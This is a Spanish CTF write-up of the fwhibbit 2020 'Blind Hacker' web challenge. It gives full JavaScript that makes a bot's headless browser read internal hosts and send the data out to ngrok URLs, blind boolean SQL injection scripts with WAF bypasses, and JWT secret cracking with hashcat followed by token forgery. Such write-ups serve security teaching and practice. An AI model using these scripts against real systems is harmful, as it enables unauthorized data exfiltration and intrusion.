Blind Hacker - fwhibbit 2020

Hoy vamos a atacar el nuevo reto web del CTF fwhibbit 2020, si no habéis participado os recomiendo registraros y probar los retos, están muy currados.

Introducción

En este reto tenemos un Bot de Telegram, @blindhackerchallbot, el cual “analizará” la URL que le pidamos. La nota nos dice que existe un servidor web en http://blind_hacker por lo que supondremos que será accesible solo desde el bot de Telegram, teniendo que aprovecharnos del bot para intentar explotarlo.

0bd5ba7ed4a8ee8791f7cd0057f91b13.png

El bot parece que no responde a nuestros mensajes, por lo que tendremos que encontrar alguna forma de establecer comunicación bidireccional con el servidor web. Para hacer cómodamente el reto, crearemos nuestro propio servidor web, de forma que al pedirle al bot que analice nuestra página podamos observar cuál es su comportamiento e intentar influenciarlo.

Herramientas

Utilizaremos Burp Suite para analizar las peticiones web y modificarlas en caso de ser necesario, ngrok para levantar un túnel accesible desde internet y NGINX como servidor web, de forma que las peticiones harían el siguiente recorrido:

Explotación a ciegas de vulnerabilidades web

Este esquema es útil para toda clase de retos “a ciegas”, para recuperar y analizar datos por un canal diferente al que inicia el ataque, como podría ser en casos de Blind XSS, Blind SQL (Ej: Orace DB out of band data exfitration), o OOB-XXE (Ejemplo). La idea de utilizar ngrok + burp como alternativa a Burp Collaborator o similares no es un invento mío, personalmente empezé a investigarlo tras un tweet de jorge_ctf. Si quieres saber como montarlo en más detalle puedes leer los siguientes apartados, en caso contrario, puedes pasar a la siguiente sección.

Nginx (o cualquier otro servidor web)

Utilizaré NGINX como servidor web, pero cualquiera debería funcionar sin mayor problema. Seguimos el proceso de instalación de la página oficial.

Nota: Puesto que vamos a utilizar NGINX solo para ciertas tareas, desactivaré el arranque automático:

sudo systemctl disable nginx

y lo arrancaré manualmente solo cuando necesite utilizarlo, con los comandos

sudo systemctl start nginx # Arrancar
sudo systemctl stop nginx  # Parar

Para hacer accesibles los archivos los colocaremos en la carpeta /var/www/html.

Como alternativa muy fácil de usar a NGINX, pero menos potente, tanto Python 2 como Python 3 traen un servidor web integrado. Python 2: python -m SimpleHTTPServer 80 Python 3: python3 -m http.server 80

Ngrok

Nos registramos y descargamos ngrok en la página oficial.

Extraemos ngrok, recomiendo ponerlo en el path por ej. en /usr/bin para tenerlo accesible desde cualquier parte. Lo configuramos con nuestra API key usando el comando proporcionado, por ejemplo: ngrok authtoken aaabbbcccddd111222333444

y probamos a levantar un túnel al puerto 8080, o el que se haya configurado en Burp.

ngrok http 8080

423c49e7dbd2f4b79bb0e0029c8926e1.png

Burp Suite

Accedemos a la pestaña Proxy, desactivamos el modo Intercept (lo activaremos más adelante si es necesario), y nos vamos a opciones, donde editaremos el Listener que hay por defecto, para que redirija las peticiones a nuestro servidor web:

0abd8f4568220d3f2c58151bce8c1d14.png

Si todo va bien, deberíamos poder acceder a la URL que nos ha dado ngrok y ver los archivos del servidor web, quedando registradas en la pestaña HTTP history de Burp.

Testing

Tras configurar y preparar las herramientas, creamos el esqueleto de una web simple en la carpeta configurada en NGINX, por ejemplo /var/www/html, y pedimos al bot que nos analice la página web:

25d0b6a39717d39acad26730e782348c.png

Podemos ver en Burp las peticiones en tiempo real, en concreto es interesante saber que tecnologías ha utilizado el bot para implementar su funcionalidad, en este caso parece haberse utilizado la última versión de Chrome en modo sin ventanas (headless).

40ba6eaeef61e2f4c189994fb9356fcc.png

Al tratarse de un navegador real, en vez de curl, wget o similares, el bot no sólo está descargando y mirando el archivo que le pedimos, sino también todos los recursos referenciados (hojas de estilo, fuentes, etc), por lo que el siguiente paso será intentar ejecutar código Javascript en el bot, y acceder al servidor de la descripción. Para ello probaremos el siguiente fragmento:

function get(url, callback)
{
    let xmlhttp=new XMLHttpRequest();
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState == XMLHttpRequest.DONE)
        {
            callback(xmlhttp);
        }
    }
    xmlhttp.open("GET", url);
    xmlhttp.send();
}

get('http://blind_hacker', response => {
        get('http://urlnuestrosrv.ngrok.io/'+btoa(response.responseText), () => {});
});

Con el que obtenemos: c505ca5ef9e344057ed0a00a5bbd1820.png

Haciendo base64 decode (Enviaré siempre el contenido de la web como base64 para evitar problemas con caracteres especiales.)

9f3dae82697b99b885b9adb4360c7662.png

Como podemos ver, hemos sido capaces de exfiltrar el contenido de la web http://blind_hacker a través del bot, por lo que pasamos a intentar explotarla.

Parte 1

Necesitamos obtener un valor para el parámetro indextoken, si nos inventamos un valor cualquiera la web nos rechazará con el siguiente mensaje: Invalid token! Have you met token.php?

Enviando una petición a token.php obtenemos un token válido, por lo que solo queda automatizarlo:

function get(theUrl, callback)
{
    let xmlhttp=new XMLHttpRequest();
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState == XMLHttpRequest.DONE)
        {
            callback(xmlhttp);
        }
    }
    xmlhttp.open("GET", theUrl);
    xmlhttp.send();
}

get('http://blind_hacker/token.php', x => {
        let items = x.responseText.split(" ");
        let token = items[items.length - 1];
        get('http://blind_hacker/?indextoken='+token, indexResponse => {
                get('http://ca2116f71dd7.ngrok.io/'+btoa(indexResponse.responseText), () => {});
        });
});

con lo que obtenemos la siguiente respuesta:

<html>
<h1> BLIND HACKER FORUM </h1>
<center>
        <form method="post" action="" name="signin-form">
            <div class="form-element">
                <label>Username: </label>
                <input type="text" name="username" id="username" required />
            </div>
            <br>
            <div class="form-element">
                <label>Password: </label>
                <input type="password" name="password" id="password" required />
            </div>
            <br>
            <button type="submit" name="login" value="login">Log In</button>
        </form>
</center>
</html>

Jugando con el formulario vemos que es vulnerable a Boolean Based SQL Injection en el campo password, puesto que si enviamos alguna query que evalue a True, como asdasd' or username like '% obtenemos:

Yisus

Mientras que, si evalúa a falso, como asdasd' or username like 'a:

Ataud

Sabiendo esto, implementaremos en Javascript un “micro-SQLMap”, por llamarlo de alguna manera, para exfiltrar los datos:

function get(theUrl, callback)
{
    let xmlhttp=new XMLHttpRequest();
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState == XMLHttpRequest.DONE)
        {
            callback(xmlhttp);
        }
    }
    xmlhttp.open("GET", theUrl);
    xmlhttp.send();
}

function login(token, user, pw, callback)
{
    let xmlhttp=new XMLHttpRequest();
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState == XMLHttpRequest.DONE)
        {
            callback(xmlhttp);
        }
    }
    let formdata = new FormData();
    formdata.set("username", user);
    formdata.set("password", pw);
    xmlhttp.open("POST", "http://blind_hacker/?indextoken="+token);
    xmlhttp.send(formdata);
}

function isTrue(response){
    return response.responseText.includes("jesus-jesus-walk-yass-jesus-gif-14042558");
}


function recursive(base){
get("http://blind_hacker/token.php", x => {
        let items = x.responseText.split(" ");
        let token = items[items.length - 1];
        let alphabet = "abcdefghijklmnopqrstuvwxyz0123456789@.,?!{} =-+";
    	for(let i = 0; i < alphabet.length; i++){
    		// Las columnas validas son username, password, email
        	login(token, "kdasasdasd", "askjsjd' or email like '"+base+alphabet[i]+"%", loginResponse => {
            	// avisar de que char es correcto y seguir
            	if(isTrue(loginResponse)){
                get("http://ca2116f71dd7.ngrok.io/" +base+alphabet[i], () => {});
                        recursive(base + alphabet[i]);
            }
        });
    }
    
    // La _ es un caso especialito
    login(token, "kdasasdasd", "askjsjd' or email like '"+base+"\\_%", loginResponse => {
                        // si es correcto seguimos
                        if(isTrue(loginResponse)){
                                get("http://ca2116f71dd7.ngrok.io/" + base + "\\_%", () => {});
                                recursive(base + "\\_");
                        }
        });
});
}
recursive(""); // Como el tiempo de ejecución está limitado, se puede continuar por donde se haya quedado, ej: "flag".

Con lo que empezaremos a exfiltrar las diferentes columnas de la base de datos (ejemplo para el caso email):

34a05e6af173ae96bf315338e0327db2.png

Como comentario sobre el código, es necesario manejar el caso _ separado del resto para que la base de datos no lo interprete como un carácter comodín. Tras exfiltrar las 3 columnas (username, password, email), iniciando sesión con el usuario betauser y contraseña letsputapass! obtenemos el siguiente mensaje:

index.php is deprecated, please go to the new forum located at blind_hacker_forum (hostname). At least you got a part of the flag ;)

Así que a seguir sufriendo (╯°□°)╯︵ ┻━┻

Parte 2

Al hacer un GET a la nueva URL utilizando la misma técnica de punto anterior nos pide un token adicional, por lo que automatizamos todo el proceso y probamos:

function get(theUrl, callback, auth)
{
    let xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4)
        {
            callback(xmlhttp);
        }
    }
    xmlhttp.open("GET", theUrl);
    if(auth){
        xmlhttp.setRequestHeader('forum_auth', auth);
    }
    xmlhttp.send();
}

function isTrue(response){
        return response.responseText.includes("a match");
}


function test(column){
get("http://blind_hacker/token.php", first => {
    let items = first.responseText.split(" ");
    let token1 = items[items.length - 1];
    get("http://blind_hacker_forum/token", second => {
            let items = second.responseText.split(" ");
            let token2 = items[items.length - 1];
            
            get("http://blind_hacker_forum/?indextoken=" +token1 + "&forumtoken="+token2, forum => {
                    get("http://ca2116f71dd7.ngrok.io/" + btoa(forum.responseText + "\n\n" + forum.getAllResponseHeaders()), () => {});
            });
    });
});
}

test();

Repuesta:

content-length: 218 
content-type: text/html; charset=utf-8 
date: Sun, 14 Jun 2020 01:51:20 GMT 
forum_auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o 
server: Werkzeug/1.0.1 Python/3.6.10

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>

You were not authed, but I have just sent you a guest permission.

En la cabecera tenemos un campo no estándar forum_auth, con un token JWT.

{
  "id": "1337",
  "username": "guest",
  "password": "h4x0r",
  "email": "guest@where.ever",
  "is_admin": "no"
}

Utilizando el debugger de jwt.io podemos modificar y firmar nuevos tokens cómodamente, tan solo necesitamos averiguar el secreto utilizado para generarlos. Para ello utilizaremos hashcat con el diccionario rockyou.txt.

poltatil@kali:~/Coronacon/Web/BlindWeb$ echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o' >forum_auth
poltatil@kali:~/Coronacon/Web/BlindWeb$ hashcat -m 16500 -a 0 forum_auth /usr/share/wordlists/rockyou.txt --force
hashcat (v5.1.0-1774-gf96594ef) starting...
[...]
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o:cookie
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: JWT (JSON Web Token)
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMz...QEWg5o
Time.Started.....: Sun Jun 14 04:29:45 2020, (0 secs)
Time.Estimated...: Sun Jun 14 04:29:45 2020, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   987.1 kH/s (5.39ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 8192/14344385 (0.06%)
Rejected.........: 0/8192 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> whitetiger

Started: Sun Jun 14 04:29:42 2020
Stopped: Sun Jun 14 04:29:46 2020

Hemos recuperado el secreto usado para firmar los tokens, cookie. Ahora podemos hacer que el servidor acepte nuestros tokens, probaremos a mandarle unas jugosas comillas, con lo que veremos que es de nuevo vulnerable a Boolean Blind SQL Inyection en el campo is_admin, pero esta vez tendremos que saltarnos un Guau Guau (WAF), que nos filtra algunos intentos de inyección.

Probando que cosas están bloqueadas y cuáles permitidas, detectamos que LIKE está bloqueado, pero lIkE permitido. % está bloqueado también, pero _ (cualquier carácter) no. Para explotarlo, reutilizaremos gran parte del código de la fase anterior, teniendo cuidado de no despertar al perrete. Para ello primero calcularemos la longitud de los datos de la columna, concatenando _ hasta obtener una respuesta verdadera, para luego extraer el contenido reemplazando los _ por el carácter correspondiente.

HTML

<!DOCTYPE html>
<html>

<head>
  <meta charset="utf-8">
  <title></title>
  <meta name="author" content="dEjAmE EntRaR YA">
  <meta name="description" content="">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <p>Hello, world!</p>  
<script src="https://kjur.github.io/jsrsasign/jsrsasign-latest-all-min.js">
</script>
<script src="fase2.js"></script>
</body>
</html>

Javascript

function get(theUrl, callback, auth)
{
    let xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4)
        {
            callback(xmlhttp);
        }
    }
    xmlhttp.open("GET", theUrl);
    if(auth){
        xmlhttp.setRequestHeader('forum_auth', auth);
    }
    xmlhttp.send();
}

function isTrue(response){
        return response.responseText.includes("a match");
}

let serialized_headers = JSON.stringify({alg: 'HS256', typ: 'JWT'});

function extractLengths(column){
get("http://blind_hacker/token.php", first => {
    let items = first.responseText.split(" ");
    let token1 = items[items.length - 1];
    get("http://blind_hacker_forum/token", second => {
            let items = second.responseText.split(" ");
            let token2 = items[items.length - 1];
            
            let size = "";
            for(let i = 1; i<50; i++){
                size += "_";
                let serialized_payload = JSON.stringify({
                    id: "1337",
                    username: "imaginary",
                    password: "imaginary",
                    email: "doesnot@exist",
                    is_admin: "yes' union all select username,version(),'1','1' from userinfo where " + column + " lIkE 'INYECTAME-BABY' -- ".replace("INYECTAME-BABY", size)
                });
                
                let auth_string = KJUR.jws.JWS.sign("HS256", serialized_headers, serialized_payload, "cookie");
                get("http://blind_hacker_forum/check?indextoken=" +token1 + "&forumtoken="+token2, forum => {
                        if(isTrue(forum)){
                            get("http://f9ee0285b7f5.ngrok.io/" + i + "___" + isTrue(forum) + "___" + btoa(forum.responseText + "\n\n" + forum.getAllResponseHeaders()), () => {});
                            //get("http://f9ee0285b7f5.ngrok.io/" + i, () => {});
                        }
                }, auth_string);
            }
    });
});
}
// Primero extraeremos la longitud de los valores de las columnas de la BBDD. Despues utilizaremos la funcion recursive para extraer los propios datos.
//extractLengths("is_admin"); // Campos validos: email, password, username, is_admin

function recursive(base, size, column){
get("http://blind_hacker/token.php", first => {
    let items = first.responseText.split(" ");
    let token1 = items[items.length - 1];
    get("http://blind_hacker_forum/token", second => {
            let items = second.responseText.split(" ");
            let token2 = items[items.length - 1];

            let alphabet = "abcdefghijklmnopqrstuvwxyz0123456789@/.,<>?;:'[]{}| =-+)(*&^$#@!";
            for(let i = 0; i<alphabet.length; i++){
                let payload = base + alphabet[i];
                while(payload.replace("\\", "").length<size){ // La \ no cuenta como caracter, se utiliza solo para escapar la _
                    payload += "_";
                }
                
                let serialized_payload = JSON.stringify({
                    id: "1337",
                    username: "imaginary",
                    password: "imaginary",
                    email: "doesnot@exist",
                    is_admin: "yes' union all select username,version(),'1','1' from userinfo where " + column + " lIkE '" + payload + "' -- "
                });
                
                
                let auth_string = KJUR.jws.JWS.sign("HS256", serialized_headers, serialized_payload, "cookie");
                get("http://blind_hacker_forum/check?indextoken=" +token1 + "&forumtoken="+token2, forum => {
                        if(isTrue(forum)){
                            get("http://ca2116f71dd7.ngrok.io/" + payload, () => {});
                            recursive(base + alphabet[i], size, column);  // + "___" + btoa(forum.responseText)
                        }
                }, auth_string);
            }
            
            // Copy paste del contenido del for para el caso especial _
            let payload = base + "\\_";
            while(payload.replace("\\", "").length<size){ // La \ no cuenta como caracter, se utiliza solo para escapar la _
                payload += "_";
            }
            
            let serialized_payload = JSON.stringify({
                id: "1337",
                username: "imaginary",
                password: "imaginary",
                email: "doesnot@exist",
                is_admin: "yes' union all select username,version(),'1','1' from userinfo where " + column + " lIkE '" + payload + "' -- "
            });
            
            let auth_string = KJUR.jws.JWS.sign("HS256", serialized_headers, serialized_payload, "cookie");
            get("http://blind_hacker_forum/check?indextoken=" +token1 + "&forumtoken="+token2, forum => {
                    if(isTrue(forum)){
                        get("http://ca2116f71dd7.ngrok.io/" + payload, () => {});
                        recursive(base + "\\_", size, column);
                    }
            }, auth_string);
    });
});
}

// Flag: r34d1ng_wr1teups_1s_n1ce_but_d01ng_th3m_1s_b3tt3r


//recursive("",19,"email"); // Extraer el valor con longitud 19 de la columna email
recursive("",11,"is_admin"); // Extraer el valor con longitud 11 de la columna is_admin
// Extraemos todos los datos de la bbdd dada su columna y su longitud, y opcionamente un prefijo para continuar en caso de error

Final

Bueno, ¿y la flag? ¿dónde está? La flag del reto se encuentra repartida entre la primera y la segunda base de datos, ¡ve a por ella!

Gracias a JorgeCTF por el reto, a Gonzalo por un tip para la Fase 2, y al bote de gel hidroalcohólico por ayudar a desinfectarme después de utilizar Javascript.

Cualquier feedback sobre el writeup es bienvenido :)